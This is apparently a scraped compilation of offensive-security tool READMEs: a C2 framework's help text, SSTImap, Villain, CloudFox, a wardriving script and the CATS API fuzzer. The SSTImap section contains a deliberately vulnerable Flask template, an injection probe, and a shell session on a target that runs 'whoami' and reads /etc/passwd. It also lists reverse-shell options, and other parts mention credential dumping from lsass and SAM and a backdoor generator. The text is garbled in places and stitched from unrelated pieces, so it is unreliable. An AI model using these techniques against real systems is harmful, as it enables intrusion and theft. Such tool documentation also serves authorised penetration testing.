--== General ==--
show -> show agent details
back -> back to main screen
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
assembly
command, make sure your assembly doesn't call any exit function because it will kill the agent.shellc
command may unexpectedly crash or change the injected process behavior, test the shellcode and the target process first.audio
, lsass
and sam
commands temporarily save artifacts to disk before exfiltrate and delete them.persist
commands should be done manually.uac
commands. die
flag may leave you with no active agent (if the unelevated agent thinks that the UAC bypass was successful, and it wasn't), keep
should leave you with 2 active agents probing the C2, then you should manually kill the unelevated.msgbox
is blocking, until the user will press the ok button.This software may be buggy or unstable in some use cases as it not being fully and constantly tested. Feel free to open issues, PR's, and contact me for any reason at (Gmail | Linkedin | Twitter).
Β
SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.
This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation.
Sandbox break-out techniques came from:
This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports eval()-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines.
Even though this software is based on Tplmap's code, backwards compatibility is not provided.
-i
) allowing for easier exploitation and detection-x
) or single command (-X
) execution{php}{/php}
. Old payload is available as Smarty_unsecure
.-A
-V
-h
for helpThis is an example of a simple website written in Python using Flask framework and Jinja2 template engine. It integrates user-supplied variable name
in an unsafe way, as it is concatenated to the template string before rendering.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
User-supplied input should be introduced in a safe way through rendering context:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates.
After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations.
To check the URL, you can use -u
argument:
$ ./sstimap.py -u https://example.com/page?name=John
ββββββββ¦βββββββ¦ββββββββ βββ
β ββββββ£ ββββββ©βββ βββββββββ
β ββββββ£ ββββββ β β β{β _ __ ___ __ _ _ __
ββββββ β βββββ β β β β*β | '_ ` _ \ / _` | '_ \
ββββββ β βββββ β β β β}β | | | | | | (_| | |_) |
βββββββββββββββ βββ ββ¦β |_| |_| |_|\__,_| .__/
β | |
|_|
[*] Version: 1.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injecti on: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Use --os-shell
option to launch a pseudo-terminal on the target.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
ββββββββ¦βββββββ¦ββββββββ βββ
β ββββββ£ ββββββ©βββ βββββββββ
β ββββββ£ ββββββ β β β{β _ __ ___ __ _ _ __
ββββββ β βββββ β β β β*β | '_ ` _ \ / _` | '_ \
ββββββ β βββββ β β β β}β | | | | | | (_| | |_) |
ββββββββ©βββββββ βββ ββ¦β |_| |_| |_|\__,_| .__/
β | |
|_|
[*] Version: 0.6#dev
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2 Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
To get a full list of options, use --help
argument.
In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use -i
argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings.
Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial -u
argument or url
command. After that, you can use run
command to check URL for SSTI.
If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use Ctrl+C
to abort them without stopping a program.
By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time.
To get a full list of interactive commands, use command help
in interactive mode.
SSTImap supports multiple template engines and eval()-like injections.
New payloads are welcome in PRs.
Engine | RCE | Blind | Code evaluation | File read | File write |
---|---|---|---|---|---|
Mako | β | β | Python | β | β |
Jinja2 | β | β | Python | β | β |
Python (code eval) | β | β | Python | β | β |
Tornado | β | β | Python | β | β |
Nunjucks | β | β | JavaScript | β | β |
Pug | β | β | JavaScript | β | β |
doT | β | β | JavaScript | β | β |
Marko | β | β | JavaScript | β | β |
JavaScript (code eval) | β | β | JavaScript | β | β |
Dust (<= dustjs-helpers@1.5.0) | β | β | JavaScript | β | β |
EJS | β | β | JavaScript | β | β |
Ruby (code eval) | β | β | Ruby | β | β |
Slim | β | β | Ruby | β | β |
ERB | β | β | Ruby | β | β |
Smarty (unsecured) | β | β | PHP | β | β |
Smarty (secured) | β | β | PHP | β | β |
PHP (code eval) | β | β | PHP | β | β |
Twig (<=1.19) | β | β | PHP | β | β |
Freemarker | β | β | Java | β | β |
Velocity | β | β | Java | β | β |
Twig (>1.19) | Γ | Γ | Γ | Γ | Γ |
Dust (> dustjs-helpers@1.5.0) | Γ | Γ | Γ | Γ | Γ |
Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided.
If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors.
The tool has been tested using Python 3.8.10 on Kali Linux 2022.2/3, Ubuntu 20.04.5 LTS, Windows 10/11.
Windows Installation
git clone https://github.com/Anof-cyber/APTRS.git
cd APTRS
install.bat
Linux Installation
git clone https://github.com/Anof-cyber/APTRS.git
cd APTRS
install.sh
Windows
run.bat
Linux
run.sh
Villain is a Windows & Linux backdoor generator and multi-session handler that allows users to connect with sibling servers (other machines running Villain) and share their backdoor sessions, handy for working as a team.
The main idea behind the payloads generated by this tool is inherited from HoaxShell. One could say that Villain is an evolved, steroid-induced version of it.
[2022-11-30] Recent & awesome, made by John Hammond -> youtube.com/watch?v=pTUggbSCqA0
[2022-11-14] Original release demo, made by me -> youtube.com/watch?v=NqZEmBsLCvQ
Disclaimer: Running the payloads generated by this tool against hosts that you do not have explicit permission to test is illegal. You are responsible for any trouble you may cause by using this tool.
git clone https://github.com/t3l3machus/Villain
cd ./Villain
pip3 install -r requirements.txt
You should run as root:
Villain.py [-h] [-p PORT] [-x HOAX_PORT] [-c CERTFILE] [-k KEYFILE] [-u] [-q]
For more information about using Villain check out the Usage Guide.
A few notes about the http(s) beacon-like reverse shell approach:
Pull requests are generally welcome. Please, keep in mind: I am constantly working on new offsec tools as well as maintaining several existing ones. I rarely accept pull requests because I either have a plan for the course of a project or I evaluate that it would be hard to test and/or maintain the foreign code. It doesn't have to do with how good or bad is an idea, it's just too much work and also, I am kind of developing all these tools to learn myself.
There are parts of this project that were removed before publishing because I considered them to be buggy or hard to maintain (at this early stage). If you have an idea for an addition that comes with a significant chunk of code, I suggest you first contact me to discuss if there's something similar already in the making, before making a PR.
CloudFox helps you gain situational awareness in unfamiliar cloud environments. Itβs an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
CloudFox is modular (you can run one command at a time), but there is an aws all-checks
command that will run the other aws commands for you with sane defaults:
cloudfox aws --profile [profile-name] all-checks
CloudFox is designed to be executed by a principal with limited read-only permissions, but it's purpose is to help you find attack paths that can be exploited in simulated compromise scenarios (aka, objective based penetration testing).
For the full documentation please refer to our wiki.
Provider | CloudFox Commands |
---|---|
AWS | 15 |
Azure | 2 (alpha) |
GCP | Support Planned |
Kubernetes | Support Planned |
Option 1: Download the latest binary release for your platform.
Option 2: Install Go, clone the CloudFox repository and compile from source
# git clone https://github.com/BishopFox/cloudfox.git
...omitted for brevity...
# cd ./cloudfox
# go build .
# ./cloudfox
SecurityAudit
+ CloudFox custom policy
Additional policy notes (as of 09/2022):
Policy | Notes |
---|---|
CloudFox custom policy | Has a complete list of every permission cloudfox uses and nothing else |
arn:aws:iam::aws:policy/SecurityAudit | Covers most cloudfox checks but is missing newer services or permissions like apprunner:*, grafana:*, lambda:GetFunctionURL, lightsail:GetContainerServices |
arn:aws:iam::aws:policy/job-function/ViewOnlyAccess | Covers most cloudfox checks but is missing newer services or permissions like AppRunner:*, grafana:*, lambda:GetFunctionURL, lightsail:GetContainerServices - and is also missing iam:SimulatePrincipalPolicy. |
arn:aws:iam::aws:policy/ReadOnlyAccess | Only missing AppRunner, but also grants things like "s3:Get*" which can be overly permissive. |
arn:aws:iam::aws:policy/AdministratorAccess | This will work just fine with CloudFox, but if you were handed this level of access as a penetration tester, that should probably be a finding in itself :) |
Provider | Command Name | Description |
---|---|---|
AWS | all-checks | Run all of the other commands using reasonable defaults. You'll still want to check out the non-default options of each command, but this is a great place to start. |
AWS | access-keys | Lists active access keys for all users. Useful for cross referencing a key you found with which in-scope account it belongs to. |
AWS | buckets | Lists the buckets in the account and gives you handy commands for inspecting them further. |
AWS | ecr | List the most recently pushed image URI from all repositories. Use the loot file to pull selected images down with docker/nerdctl for inspection. |
AWS | endpoints | Enumerates endpoints from various services. Scan these endpoints from both an internal and external position to look for things that don't require authentication, are misconfigured, etc. |
AWS | env-vars | Grabs the environment variables from services that have them (App Runner, ECS, Lambda, Lightsail containers, Sagemaker are supported. If you find a sensitive secret, use cloudfox iam-simulator AND pmapper to see who has access to them. |
AWS | filesystems | Enumerate the EFS and FSx filesystems that you might be able to mount without creds (if you have the right network access). For example, this is useful when you have ec:RunInstance but not iam:PassRole . |
AWS | iam-simulator | Like pmapper, but uses the IAM policy simulator. It uses AWS's evaluation logic, but notably, it doesn't consider transitive access via privesc, which is why you should also always also use pmapper. |
AWS | instances | Enumerates useful information for EC2 Instances in all regions like name, public/private IPs, and instance profiles. Generates loot files you can feed to nmap and other tools for service enumeration. |
AWS | inventory | Gain a rough understanding of size of the account and preferred regions. |
AWS | outbound-assumed-roles | List the roles that have been assumed by principals in this account. This is an excellent way to find outbound attack paths that lead into other accounts. |
AWS | permissions | Enumerates IAM permissions associated with all users and roles. Grep this output to figure out what permissions a particular principal has rather than logging into the AWS console and painstakingly expanding each policy attached to the principal you are investigating. |
AWS | principals | Enumerates IAM users and Roles so you have the data at your fingertips. |
AWS | role-trusts | Enumerates IAM role trust policies so you can look for overly permissive role trusts or find roles that trust a specific service. |
AWS | route53 | Enumerate all records from all route53 managed zones. Use this for application and service enumeration. |
AWS | secrets | List secrets from SecretsManager and SSM. Look for interesting secrets in the list and then see who has access to them using use cloudfox iam-simulator and/or pmapper . |
Azure | instances-map | Enumerates useful information for Compute instances in all available resource groups and subscriptions |
Azure | rbac-map | Enumerates Role Assignments for all tenants |
How does CloudFox compare with ScoutSuite, Prowler, Steampipe's AWS Compliance Module, AWS Security Hub, etc.
CloudFox doesn't create any alerts or findings, and doesn't check your environment for compliance to a baseline or benchmark. Instead, it simply enables you to be more efficient during your manual penetration testing activities. If gives you the information you'll likely need to validate whether an attack path is possible or not.
Why do I see errors in some CloudFox commands?
You can always look in the ~/.cloudfox/cloudfox-error.log file to get more information on errors.
endpoints
commandendpoints
commandiam-simulator
commandpermissions
command--userdata
functionality in the instances
command, the permissions
command, and many othersinventory
command and just generally CloudFox as a wholeWarDriving is the act of navigating, on foot or by car, to discover wireless networks in the surrounding area.
Wardriving is done by combining the SSID information obtained with scapy using the HTML5 geolocation feature.
I cannot be held responsible for the malicious use of the vehicle.
ssidBul.py has been tested via TP-LINK TL WN722N.
Selenium 3.11.0 and Firefox 59.0.2 are used for location.py. Firefox geckodriver is located in the directory where the codes are.
SSID and MAC names and location information were created and changed in the test environment.
ssidBul.py and location.py must be run concurrently.
ssidBul.py result:
20 March 2018 11:48PM|9c:b2:b2:11:12:13|ECFJ3M
20 March 2018 11:48PM|c0:25:e9:11:12:13|T7068
Here is a screenshot of allowing location information while running location.py:
The screenshot of the location information is as follows:
konum.py result:
lat=38.8333635|lon=34.759741899|20 March 2018 11:47PM
lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM
lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM
lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM
lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM
lat=38.8333635|lon=34.759741899|20 March 2018 11:49PM
lat=38.8333635|lon=34.759741899|20 March 2018 11:49PM
After the data collection processes, the following output is obtained as a result of running wardriving.py:
lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM|9c:b2:b2:11:12:13|ECFJ3M
lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM|c0:25:e9:11:12:13|T7068
https://twitter.com/anilyelken06
https://medium.com/@anilyelken
REST API fuzzer and negative testing tool. Run thousands of self-healing API tests within minutes with no coding effort!
By using a simple and minimal syntax, with a flat learning curve, CATS (Contract Auto-generated Tests for Swagger) enables you to generate thousands of API tests within minutes with no coding effort. All tests are generated, run and reported automatically based on a pre-defined set of 89 Fuzzers. The Fuzzers cover a wide range of input data from fully random large Unicode values to well crafted, context dependant values based on the request data types and constraints. Even more, you can leverage the fact that CATS generates request payloads dynamically and write simple end-to-end functional tests.
This is a list of articles with step-by-step guides on how to use CATS:
> brew tap endava/tap
> brew install cats
CATS is bundled both as an executable JAR or a native binary. The native binaries do not need Java installed.
After downloading your OS native binary, you can add it in classpath so that you can execute it as any other command line tool:
sudo cp cats /usr/local/bin/cats
You can also get autocomplete by downloading the cats_autocomplete script and do:
source cats_autocomplete
To get persistent autocomplete, add the above line in ~/.zshrc
or ./bashrc
, but make sure you put the fully qualified path for the cats_autocomplete
script.
You can also check the cats_autocomplete
source for alternative setup.
There is no native binary for Windows, but you can use the uberjar version. This requires Java 11+ to be installed.
You can run it as java -jar cats.jar
.
Head to the releases page to download the latest versions: https://github.com/Endava/cats/releases.
You can build CATS from sources on you local box. You need Java 11+. Maven is already bundled.
Before running the first build, please make sure you do a ./mvnw clean
. CATS uses a fork ok OKHttpClient
which will install locally under the 4.9.1-CATS
version, so don't worry about overriding the official versions.
You can use the following Maven command to build the project:
./mvnw package -Dquarkus.package.type=uber-jar
cp target/
You will end up with a cats.jar
in the target
folder. You can run it wih java -jar cats.jar ...
.
You can also build native images using a GraalVM Java version.
./mvnw package -Pnative
Note: You will need to configure Maven with a Github PAT with read-packages
scope to get some dependencies for the build.
You may see some ERROR
log messages while running the Unit Tests. Those are expected behaviour for testing the negative scenarios of the Fuzzers
.
Blackbox mode means that CATS doesn't need any specific context. You just need to provide the service URL, the OpenAPI spec and most probably authentication headers.
> cats --contract=openapy.yaml --server=http://localhost:8080 --headers=headers.yml --blackbox
In blackbox mode CATS will only report ERRORs
if the received HTTP response code is a 5XX
. Any other mismatch between what the Fuzzer expects vs what the service returns (for example service returns 400
and service returns 200
) will be ignored.
The blackbox mode is similar to a smoke test. It will quickly tell you if the application has major bugs that must be addressed immediately.
The real power of CATS relies on running it in a non-blackbox mode also called context mode. Each Fuzzer has an expected HTTP response code based on the scenario under test and will also check if the response is matching the schema defined in the OpenAPI spec specific to that response code. This will allow you to tweak either your OpenAPI spec or service behaviour in order to create good quality APIs and documentation and also to avoid possible serious bugs.
Running CATS in context mode usually implies providing it a --refData file with resource identifiers specific to the business logic. CATS cannot create data on its own (yet), so it's important that any request field or query param that requires pre-existence of those entities/resources to be created in advance and added to the reference data file.
> cats --contract=openapy.yaml --server=http://localhost:8080 --headers=headers.yml --refData=referenceData.yml
You may notice a significant number of tests marked as skipped
. CATS will try to apply all Fuzzers
to all fields, but this is not always possible. For example the BooleanFieldsFuzzer
cannot be applied to String
fields. This is why that test attempt will be marked as skipped. It was an intentional decision to also report the skipped
tests in order to show that CATS actually tries all the Fuzzers
on all the fields/paths/endpoints.
Additionally, CATS support a lot more arguments that allows you to restrict the number of fuzzers, provide timeouts, limit the number of requests per minute and so on.
CATS generates tests based on configured Fuzzer
s. Each Fuzzer
has a specific scenario and a specific expected result. The CATS engine will run the scenario, get the result from the service and match it with the Fuzzer
expected result. Depending on the matching outcome, CATS will report as follows:
INFO
/SUCCESS
is expected and documented behaviour. No need for action.WARN
is expected but undocumented behaviour or some misalignment between the contract and the service. This will ideally be actioned.ERROR
is abnormal/unexpected behaviour. This must be actioned.CATS will iterate through all endpoints, all HTTP methods and all the associated requests bodies and parameters (including multiple combinations when dealing with oneOf
/anyOf
elements) and fuzz their values considering their defined data type and constraints. The actual fuzzing depends on the specific Fuzzer
executed. Please see the list of fuzzers and their behaviour. There are also differences on how the fuzzing works depending on the HTTP method:
This means that for methods with request bodies (POST,PUT
) that have also URL/path parameters, you need to supply the path
parameters via urlParams
or the referenceData
file as failure to do so will result in Illegal character in path at index ...
errors.
HTML_JS
is the default report produced by CATS. The execution report in placed a folder called cats-report/TIMESTAMP
or cats-report
depending on the --timestampReports
argument. The folder will be created inside the current folder (if it doesn't exist) and for each run a new subfolder will be created with the TIMESTAMP
value when the run started. This allows you to have a history of the runs. The report itself is in the index.html
file, where you can:
All
, Success
, Warn
and Error
Fuzzer
so that you can only see the runs for that specific Fuzzer
Along with the summary from index.html
each individual test will have a specific TestXXX.html
page with more details, as well as a json version of the test which can be latter replayed using > cats replay TestXXX.json
.
Understanding the Result Reason
values:
Unexpected Exception
- reported as error
; this might indicate a possible bug in the service or a corner case that is not handled correctly by CATSNot Matching Response Schema
- reported as a warn
; this indicates that the service returns an expected response code and a response body, but the response body does not match the schema defined in the contractUndocumented Response Code
- reported as a warn
; this indicates that the service returns an expected response code, but the response code is not documented in the contractUnexpected Response Code
- reported as an error
; this indicates a possible bug in the service - the response code is documented, but is not expected for this scenarioUnexpected Behaviour
- reported as an error
; this indicates a possible bug in the service - the response code is neither documented nor expected for this scenarioNot Found
- reported as an error
in order to force providing more context; this indicates that CATS needs additional business context in order to run successfully - you can do this using the --refData
and/or --urlParams
argumentsAnd this is what you get when you click on a specific test:Β
This format is similar with HTML_JS
, but you cannot do any filtering or sorting.
CATS also supports JUNIT output. The output will be a single testsuite
that will incorporate all tests grouped by Fuzzer
name. As the JUNIT format does not have the concept of warning
the following mapping is used:
error
is reported as JUNIT error
failure
is not used at allwarn
is reported as JUNIT skipped
skipped
is reported as JUNIT disabled
The JUNIT report is written as junit.xml
in the cats-report
folder. Individual tests, both as .html
and .json
will also be created.
CATS has a significant number of Fuzzers
. Currently, 89 and growing. Some of the Fuzzers
are executing multiple tests for every given field within the request. For example the ControlCharsOnlyInFieldsFuzzer
has 63 control chars values that will be tried for each request field. If a request has 15 fields for example, this will result in 1020 tests. Considering that there are additional Fuzzers
with the same magnitude of tests being generated, you can easily get to 20k tests being executed on a typical run. This will result in huge reports and long run times (i.e. minutes, rather than seconds).
Below are some recommended strategies on how you can separate the tests in chunks which can be executed as stages in a deployment pipeline, one after the other.
You can use the --paths=PATH
argument to run CATS sequentially for each path.
You can use the --checkXXX
arguments to run CATS only with specific Fuzzers
like: --checkHttp
, -checkFields
, etc.
You can use various arguments like --fuzzers=Fuzzer1,Fuzzer2
or -skipFuzzers=Fuzzer1,Fuzzer2
to either include or exclude specific Fuzzers
. For example, you can run all Fuzzers
except for the ControlChars
and Whitespaces
ones like this: --skipFuzzers=ControlChars,Whitesspaces
. This will skip all Fuzzers containing these strings in their name. After, you can create an additional run only with these Fuzzers
: --fuzzers=ControlChars,Whitespaces
.
These are just some recommendations on how you can split the types of tests cases. Depending on how complex your API is, you might go with a combination of the above or with even more granular splits.
Please note that due to the fact that ControlChars, Emojis and Whitespaces
generate huge number of tests even for small OpenAPI contracts, they are disabled by default. You can enable them using the --includeControlChars
, --includeWhitespaces
and/or --includeEmojis
arguments. The recommendation is to run them in separate runs so that you get manageable reports and optimal running times.
By default, CATS will report WARNs
and ERRORs
according to the specific behaviour of each Fuzzer. There are cases though when you might want to focus only on critical bugs. You can use the --ignoreResponseXXX
arguments to supply a list of response codes, response sizes, word counts, line counts or response body regexes that should be ignored as issues (overriding the Fuzzer behaviour) and report those cases as success instead or WARN
or ERROR
. For example, if you want CATS to report ERRORs
only when there is an Exception or the service returns a 500
, you can use this: --ignoreResultCodes="2xx,4xx"
.
You can also choose to ignore checks done by the Fuzzers. By default, each Fuzzer has an expected response code, based on the scenario under test and will report and WARN
the service returns the expected response code, but the response code is not documented inside the contract. You can make CATS ignore the undocumented response code checks (i.e. checking expected response code inside the contract) using the --ignoreResponseCodeUndocumentedCheck
argument. CATS with now report these cases as SUCCESS
instead of WARN
.
Additionally, you can also choose to ignore the response body checks. By default, on top of checking the expected response code, each Fuzzer will check if the response body matches what is defined in the contract and will report an WARN
if not matching. You can make CATS ignore the response body checks using the --ingoreResponseBodyCheck
argument. CATS with now report these cases as SUCCESS
instead of WARN
.
When CATS runs, for each test, it will export both an HTML file that will be linked in the final report and individual JSON files. The JSON files can be used to replay that test. When replaying a test (or a list of tests), CATS won't produce any report. The output will be solely available in the console. This is useful when you want to see the exact behaviour of the specific test or attach it in a bug report for example.
The syntax for replaying tests is the following:
> cats replay "Test1,Test233,Test15.json,dir/Test19.json"
Some notes on the above example:
,
Test15.json
in the current folder and Test19.json
in the dir
foldercats-report
folder i.e. cats-report/Test1.json
and cats-report/Test233.json
To list all available commands, run:
> cats -h
All available subcommands are listed below:
> cats help
or cats -h
will list all available options
> cats list --fuzzers
will list all the existing fuzzers, grouped on categories
> cats list --fieldsFuzzingStrategy
will list all the available fields fuzzing strategies
> cats list --paths --contract=CONTRACT
will list all the paths available within the contract
> cats replay "test1,test2"
will replay the given tests test1
and test2
> cats fuzz
will fuzz based on a given request template, rather than an OpenAPI contract
> cats run
will run functional and targeted security tests written in the CATS YAML format
> cats lint
will run OpenAPI contract linters, also called ContractInfoFuzzers
--contract=LOCATION_OF_THE_CONTRACT
supplies the location of the OpenApi or Swagger contract.--server=URL
supplies the URL of the service implementing the contract.--basicauth=USR:PWD
supplies a username:password
pair, in case the service uses basic auth.--fuzzers=LIST_OF_FUZZERS
supplies a comma separated list of fuzzers. The supplied list of Fuzzers can be partial names, not full Fuzzer names. CATS which check for all Fuzzers containing the supplied strings. If the argument is not supplied, all fuzzers will be run.--log=PACKAGE:LEVEL
can configure custom log level for a given package. You can provide a comma separated list of packages and levels. This is helpful when you want to see full HTTP traffic: --log=org.apache.http.wire:debug
or suppress CATS logging: --log=com.endava.cats:warn
--paths=PATH_LIST
supplies a comma separated list of OpenApi paths to be tested. If no path is supplied, all paths will be considered.--skipPaths=PATH_LIST
a comma separated list of paths to ignore. If no path is supplied, no path will be ignored--fieldsFuzzingStrategy=STRATEGY
specifies which strategy will be used for field fuzzing. Available strategies are ONEBYONE
, SIZE
and POWERSET
. More information on field fuzzing can be found in the sections below.--maxFieldsToRemove=NUMBER
specifies the maximum number of fields to be removed when using the SIZE
fields fuzzing strategy.--refData=FILE
specifies the file containing static reference data which must be fixed in order to have valid business requests. This is a YAML file. It is explained further in the sections below.--headers=FILE
specifies a file containing headers that will be added when sending payloads to the endpoints. You can use this option to add oauth/JWT tokens for example.--edgeSpacesStrategy=STRATEGY
specifies how to expect the server to behave when sending trailing and prefix spaces within fields. Possible values are trimAndValidate
and validateAndTrim
.--sanitizationStrategy=STRATEGY
specifies how to expect the server to behave when sending Unicode Control Chars and Unicode Other Symbols within the fields. Possible values are sanitizeAndValidate
and validateAndSanitize
--urlParams
A comma separated list of 'name:value' pairs of parameters to be replaced inside the URLs. This is useful when you have static parameters in URLs (like 'version' for example).--functionalFuzzerFile
a file used by the FunctionalFuzzer
that will be used to create user-supplied payloads.--skipFuzzers=LIST_OF_FIZZERs
a comma separated list of fuzzers that will be skipped for all paths. You can either provide full Fuzzer
names (for example: --skippedFuzzers=VeryLargeStringsFuzzer
) or partial Fuzzer
names (for example: --skipFuzzers=VeryLarge
). CATS
will check if the Fuzzer
names contains the string you provide in the arguments value.--skipFields=field1,field2#subField1
a comma separated list of fields that will be skipped by replacement Fuzzers like EmptyStringsInFields, NullValuesInFields, etc.--httpMethods=PUT,POST,etc
a comma separated list of HTTP methods that will be used to filter which http methods will be executed for each path within the contract--securityFuzzerFile
A file used by the SecurityFuzzer
that will be used to inject special strings in order to exploit possible vulnerabilities--printExecutionStatistics
If supplied (no value needed), prints a summary of execution times for each endpoint and HTTP method. By default this will print a summary for each endpoint: max, min and average. If you want detailed reports you must supply --printExecutionStatistics=detailed
--timestampReports
If supplied (no value needed), it will output the report still inside the cats-report
folder, but in a sub-folder with the current timestamp--reportFormat=FORMAT
Specifies the format of the CATS report. Supported formats: HTML_ONLY
, HTML_JS
or JUNIT
. You can use HTML_ONLY
if you want the report to not contain any Javascript. This is useful in CI environments due to Javascript content security policies. Default is HTML_JS
which includes some sorting and filtering capabilities.--useExamples
If true
(default value when not supplied) then CATS will use examples supplied in the OpenAPI contact. If false
CATS will rely only on generated values--checkFields
If supplied (no value needed), it will only run the Field Fuzzers--checkHeaders
If supplied (no value needed), it will only run the Header Fuzzers--checkHttp
If supplied (no value needed), it will only run the HTTP Fuzzers--includeWhitespaces
If supplied (no value needed), it will include the Whitespaces Fuzzers--includeEmojis
If supplied (no value needed), it will include the Emojis Fuzzers--includeControlChars
If supplied (no value needed), it will include the ControlChars Fuzzers--includeContract
If supplied (no value needed), it will include ContractInfoFuzzers
--sslKeystore
Location of the JKS keystore holding certificates used when authenticating calls using one-way or two-way SSL--sslKeystorePwd
The password of the sslKeystore
--sslKeyPwd
The password of the private key from the sslKeystore
--proxyHost
The proxy server's host name (if running behind proxy)--proxyPort
The proxy server's port number (if running behind proxy)--maxRequestsPerMinute
Maximum number of requests per minute; this is useful when APIs have rate limiting implemented; default is 10000--connectionTimeout
Time period in seconds which CATS should establish a connection with the server; default is 10 seconds--writeTimeout
Maximum time of inactivity in seconds between two data packets when sending the request to the server; default is 10 seconds--readTimeout
Maximum time of inactivity in seconds between two data packets when waiting for the server's response; default is 10 seconds--dryRun
If provided, it will simulate a run of the service with the supplied configuration. The run won't produce a report, but will show how many tests will be generated and run for each OpenAPI endpoint--ignoreResponseCodes
HTTP_CODES_LIST a comma separated list of HTTP response codes that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR. You can use response code families as 2xx
, 4xx
, etc. If provided, all Contract Fuzzers will be skipped.--ignoreResponseSize
SIZE_LIST a comma separated list of response sizes that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR--ignoreResponseWords
COUNT_LIST a comma separated list of words count in the response that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR--ignoreResponseLines
LINES_COUNT a comma separated list of lines count in the response that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR--ignoreResponseRegex
a REGEX that will match against the response that will be considered as SUCCESS, even if the Fuzzer will typically report it as WARN or ERROR--tests
TESTS_LIST a comma separated list of executed tests in JSON format from the cats-report folder. If you supply the list without the .json extension CATS will search the test in the cats-report folder--ignoreResponseCodeUndocumentedCheck
If supplied (not value needed) it won't check if the response code received from the service matches the value expected by the fuzzer and will return the test result as SUCCESS instead of WARN--ignoreResponseBodyCheck
If supplied (not value needed) it won't check if the response body received from the service matches the schema supplied inside the contract and will return the test result as SUCCESS instead of WARN--blackbox
If supplied (no value needed) it will ignore all response codes except for 5XX which will be returned as ERROR. This is similar to --ignoreResponseCodes="2xx,4xx"
--contentType
A custom mime type if the OpenAPI spec uses content type negotiation versioning.--outoput
The path where the CATS report will be written. Default is cats-report
in the current directory--skipReportingForIgnoredCodes
Skip reporting entirely for the any ignored arguments provided in --ignoreResponseXXX
> cats --contract=my.yml --server=https://locathost:8080 --checkHeaders
This will run CATS against http://localhost:8080
using my.yml
as an API spec and will only run the HTTP headers Fuzzers
.
To get a list of fuzzers run cats list --fuzzers
. A list of all available fuzzers will be returned, along with a short description for each.
There are multiple categories of Fuzzers
available:
